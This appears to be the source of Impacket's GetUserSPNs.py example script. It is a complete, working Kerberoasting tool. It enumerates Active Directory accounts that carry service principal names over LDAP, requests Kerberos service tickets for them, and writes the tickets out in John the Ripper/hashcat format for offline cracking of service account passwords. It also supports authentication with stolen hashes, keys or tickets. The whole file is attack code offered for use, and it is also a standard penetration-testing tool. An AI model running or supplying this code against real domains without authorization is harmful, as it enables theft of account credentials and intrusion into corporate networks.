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fortra-impacket/examples/GetUserSPNs.py
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#!/usr/bin/env python
# Impacket - Collection of Python classes for working with network protocols.
#
# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# This module will try to find Service Principal Names that are associated with normal user account.
# Since normal account's password tend to be shorter than machine accounts, and knowing that a TGS request
# will encrypt the ticket with the account the SPN is running under, this could be used for an offline
# bruteforcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs.
# This is part of the kerberoast attack researched by Tim Medin (@timmedin) and detailed at
# https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf
#
# Original idea of implementing this in Python belongs to @skelsec and his
# https://github.com/skelsec/PyKerberoast project
#
# This module provides a Python implementation for this attack, adding also the ability to PtH/Ticket/Key.
# Also, disabled accounts won't be shown.
#
# Author:
# Alberto Solino (@agsolino)
#
# ToDo:
# [X] Add the capability for requesting TGS and output them in JtR/hashcat format
# [X] Improve the search filter, we have to specify we don't want machine accounts in the answer
# (play with userAccountControl)
#
from __future__ import division
from __future__ import print_function
import argparse
import logging
import os
import sys
from datetime import datetime
from binascii import hexlify, unhexlify
from pyasn1.codec.der import decoder
from impacket import version
from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_TRUSTED_FOR_DELEGATION, UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
from impacket.examples import logger
from impacket.examples.utils import parse_credentials
from impacket.krb5 import constants
from impacket.krb5.asn1 import TGS_REP
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5.types import Principal
from impacket.ldap import ldap, ldapasn1
from impacket.smbconnection import SMBConnection
from impacket.ntlm import compute_lmhash, compute_nthash
class GetUserSPNs:
@staticmethod
def printTable(items, header):
colLen = []
for i, col in enumerate(header):
rowMaxLen = max([len(row[i]) for row in items])
colLen.append(max(rowMaxLen, len(col)))
outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])
# Print header
print(outputFormat.format(*header))
print(' '.join(['-' * itemLen for itemLen in colLen]))
# And now the rows
for row in items:
print(outputFormat.format(*row))
def __init__(self, username, password, user_domain, target_domain, cmdLineOptions):
self.__username = username
self.__password = password
self.__domain = user_domain
self.__targetDomain = target_domain
self.__lmhash = ''
self.__nthash = ''
self.__outputFileName = cmdLineOptions.outputfile
self.__usersFile = cmdLineOptions.usersfile
self.__aesKey = cmdLineOptions.aesKey
self.__doKerberos = cmdLineOptions.k
self.__requestTGS = cmdLineOptions.request
self.__kdcHost = cmdLineOptions.dc_ip
self.__saveTGS = cmdLineOptions.save
self.__requestUser = cmdLineOptions.request_user
if cmdLineOptions.hashes is not None:
self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')
# Create the baseDN
domainParts = self.__targetDomain.split('.')
self.baseDN = ''
for i in domainParts:
self.baseDN += 'dc=%s,' % i
# Remove last ','
self.baseDN = self.baseDN[:-1]
# We can't set the KDC to a custom IP when requesting things cross-domain
# because then the KDC host will be used for both
# the initial and the referral ticket, which breaks stuff.
if user_domain != target_domain and self.__kdcHost:
logging.warning('DC ip will be ignored because of cross-domain targeting.')
self.__kdcHost = None
def getMachineName(self):
if self.__kdcHost is not None and self.__targetDomain == self.__domain:
s = SMBConnection(self.__kdcHost, self.__kdcHost)
else:
s = SMBConnection(self.__targetDomain, self.__targetDomain)
try:
s.login('', '')
except Exception:
if s.getServerName() == '':
raise 'Error while anonymous logging into %s'
else:
try:
s.logoff()
except Exception:
# We don't care about exceptions here as we already have the required
# information. This also works around the current SMB3 bug
pass
return "%s.%s" % (s.getServerName(), s.getServerDNSDomainName())
@staticmethod
def getUnixTime(t):
t -= 116444736000000000
t /= 10000000
return t
def getTGT(self):
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
except:
# No cache present
pass
else:
# retrieve user and domain information from CCache file if needed
if self.__domain == '':
domain = ccache.principal.realm['data']
else:
domain = self.__domain
logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
logging.debug('Using TGT from cache')
return TGT
else:
logging.debug("No valid credentials found in cache. ")
# No TGT in cache, request it
userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
# In order to maximize the probability of getting session tickets with RC4 etype, we will convert the
# password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the
# cleartext password.
# If no clear text password is provided, we just go with the defaults.
if self.__password != '' and (self.__lmhash == '' and self.__nthash == ''):
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.__domain,
compute_lmhash(self.__password),
compute_nthash(self.__password), self.__aesKey,
kdcHost=self.__kdcHost)
except Exception as e:
logging.debug('TGT: %s' % str(e))
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
unhexlify(self.__lmhash),
unhexlify(self.__nthash), self.__aesKey,
kdcHost=self.__kdcHost)
else:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
unhexlify(self.__lmhash),
unhexlify(self.__nthash), self.__aesKey,
kdcHost=self.__kdcHost)
TGT = {}
TGT['KDC_REP'] = tgt
TGT['cipher'] = cipher
TGT['sessionKey'] = sessionKey
return TGT
def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None):
decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
# According to RFC4757 (RC4-HMAC) the cipher part is like:
# struct EDATA {
# struct HEADER {
# OCTET Checksum[16];
# OCTET Confounder[8];
# } Header;
# OCTET Data[0];
# } edata;
#
# In short, we're interested in splitting the checksum and the rest of the encrypted data
#
# Regarding AES encryption type (AES128 CTS HMAC-SHA1 96 and AES256 CTS HMAC-SHA1 96)
# last 12 bytes of the encrypted ticket represent the checksum of the decrypted
# ticket
if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value:
entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(),
hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode())
if fd is None:
print(entry)
else:
fd.write(entry+'\n')
elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value:
entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % (
constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(),
hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode)
if fd is None:
print(entry)
else:
fd.write(entry+'\n')
elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % (
constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(),
hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode())
if fd is None:
print(entry)
else:
fd.write(entry+'\n')
elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value:
entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
constants.EncryptionTypes.des_cbc_md5.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(),
hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode())
if fd is None:
print(entry)
else:
fd.write(entry+'\n')
else:
logging.error('Skipping %s/%s due to incompatible e-type %d' % (
decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1],
decodedTGS['ticket']['enc-part']['etype']))
if self.__saveTGS is True:
# Save the ticket
logging.debug('About to save TGS for %s' % username)
ccache = CCache()
try:
ccache.fromTGS(tgs, oldSessionKey, sessionKey )
ccache.saveFile('%s.ccache' % username)
except Exception as e:
logging.error(str(e))
def run(self):
if self.__usersFile:
self.request_users_file_TGSs()
return
if self.__doKerberos:
target = self.getMachineName()
else:
if self.__kdcHost is not None and self.__targetDomain == self.__domain:
target = self.__kdcHost
else:
target = self.__targetDomain
# Connect to LDAP
try:
ldapConnection = ldap.LDAPConnection('ldap://%s' % target, self.baseDN, self.__kdcHost)
if self.__doKerberos is not True:
ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, kdcHost=self.__kdcHost)
except ldap.LDAPSessionError as e:
if str(e).find('strongerAuthRequired') >= 0:
# We need to try SSL
ldapConnection = ldap.LDAPConnection('ldaps://%s' % target, self.baseDN, self.__kdcHost)
if self.__doKerberos is not True:
ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, kdcHost=self.__kdcHost)
else:
raise
# Building the search filter
searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \
"(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer))"
if self.__requestUser is not None:
searchFilter += '(sAMAccountName:=%s))' % self.__requestUser
else:
searchFilter += ')'
try:
resp = ldapConnection.search(searchFilter=searchFilter,
attributes=['servicePrincipalName', 'sAMAccountName',
'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
sizeLimit=100000)
except ldap.LDAPSearchError as e:
if e.getErrorString().find('sizeLimitExceeded') >= 0:
logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
pass
else:
raise
answers = []
logging.debug('Total of records returned %d' % len(resp))
for item in resp:
if isinstance(item, ldapasn1.SearchResultEntry) is not True:
continue
mustCommit = False
sAMAccountName = ''
memberOf = ''
SPNs = []
pwdLastSet = ''
userAccountControl = 0
lastLogon = 'N/A'
delegation = ''
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'sAMAccountName':
sAMAccountName = str(attribute['vals'][0])
mustCommit = True
elif str(attribute['type']) == 'userAccountControl':
userAccountControl = str(attribute['vals'][0])
if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION:
delegation = 'unconstrained'
elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION:
delegation = 'constrained'
elif str(attribute['type']) == 'memberOf':
memberOf = str(attribute['vals'][0])
elif str(attribute['type']) == 'pwdLastSet':
if str(attribute['vals'][0]) == '0':
pwdLastSet = '<never>'
else:
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif str(attribute['type']) == 'lastLogon':
if str(attribute['vals'][0]) == '0':
lastLogon = '<never>'
else:
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif str(attribute['type']) == 'servicePrincipalName':
for spn in attribute['vals']:
SPNs.append(str(spn))
if mustCommit is True:
if int(userAccountControl) & UF_ACCOUNTDISABLE:
logging.debug('Bypassing disabled account %s ' % sAMAccountName)
else:
for spn in SPNs:
answers.append([spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation])
except Exception as e:
logging.error('Skipping item, cannot process due to error %s' % str(e))
pass
if len(answers)>0:
self.printTable(answers, header=[ "ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon", "Delegation"])
print('\n\n')
if self.__requestTGS is True or self.__requestUser is not None:
# Let's get unique user names and a SPN to request a TGS for
users = dict( (vals[1], vals[0]) for vals in answers)
# Get a TGT for the current user
TGT = self.getTGT()
if self.__outputFileName is not None:
fd = open(self.__outputFileName, 'w+')
else:
fd = None
for user, SPN in users.items():
sAMAccountName = user
downLevelLogonName = self.__targetDomain + "\\" + sAMAccountName
try:
principalName = Principal()
principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value
principalName.components = [downLevelLogonName]
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain,
self.__kdcHost,
TGT['KDC_REP'], TGT['cipher'],
TGT['sessionKey'])
self.outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName, self.__targetDomain + "/" + sAMAccountName, fd)
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error('Principal: %s - %s' % (downLevelLogonName, str(e)))
if fd is not None:
fd.close()
else:
print("No entries found!")
def request_users_file_TGSs(self):
with open(self.__usersFile) as fi:
usernames = [line.strip() for line in fi]
self.request_multiple_TGSs(usernames)
def request_multiple_TGSs(self, usernames):
# Get a TGT for the current user
TGT = self.getTGT()
if self.__outputFileName is not None:
fd = open(self.__outputFileName, 'w+')
else:
fd = None
for username in usernames:
try:
principalName = Principal()
principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value
principalName.components = [username]
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain,
self.__kdcHost,
TGT['KDC_REP'], TGT['cipher'],
TGT['sessionKey'])
self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd)
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error('Principal: %s - %s' % (username, str(e)))
if fd is not None:
fd.close()
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print(version.BANNER)
parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for SPNs that are running "
"under a user account")
parser.add_argument('target', action='store', help='domain/username[:password]')
parser.add_argument('-target-domain', action='store', help='Domain to query/request if different than the domain of the user. '
'Allows for Kerberoasting across trusts.')
parser.add_argument('-usersfile', help='File with user per line to test')
parser.add_argument('-request', action='store_true', default=False, help='Requests TGS for users and output them '
'in JtR/hashcat format (default False)')
parser.add_argument('-request-user', action='store', metavar='username', help='Requests TGS for the SPN associated '
'to the user specified (just the username, no domain needed)')
parser.add_argument('-save', action='store_true', default=False, help='Saves TGS requested to disk. Format is '
'<username>.ccache. Auto selects -request')
parser.add_argument('-outputfile', action='store',
help='Output filename to write ciphers in JtR/hashcat format')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials '
'cannot be found, it will use the ones specified in the command '
'line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) '
'specified in the target parameter. Ignored'
'if -target-domain is specified.')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
logging.debug(version.getInstallationPath())
else:
logging.getLogger().setLevel(logging.INFO)
userDomain, username, password = parse_credentials(options.target)
if userDomain == '':
logging.critical('userDomain should be specified!')
sys.exit(1)
if options.target_domain:
targetDomain = options.target_domain
else:
targetDomain = userDomain
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
if options.save is True or options.outputfile is not None:
options.request = True
try:
executer = GetUserSPNs(username, password, userDomain, targetDomain, options)
executer.run()
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(str(e))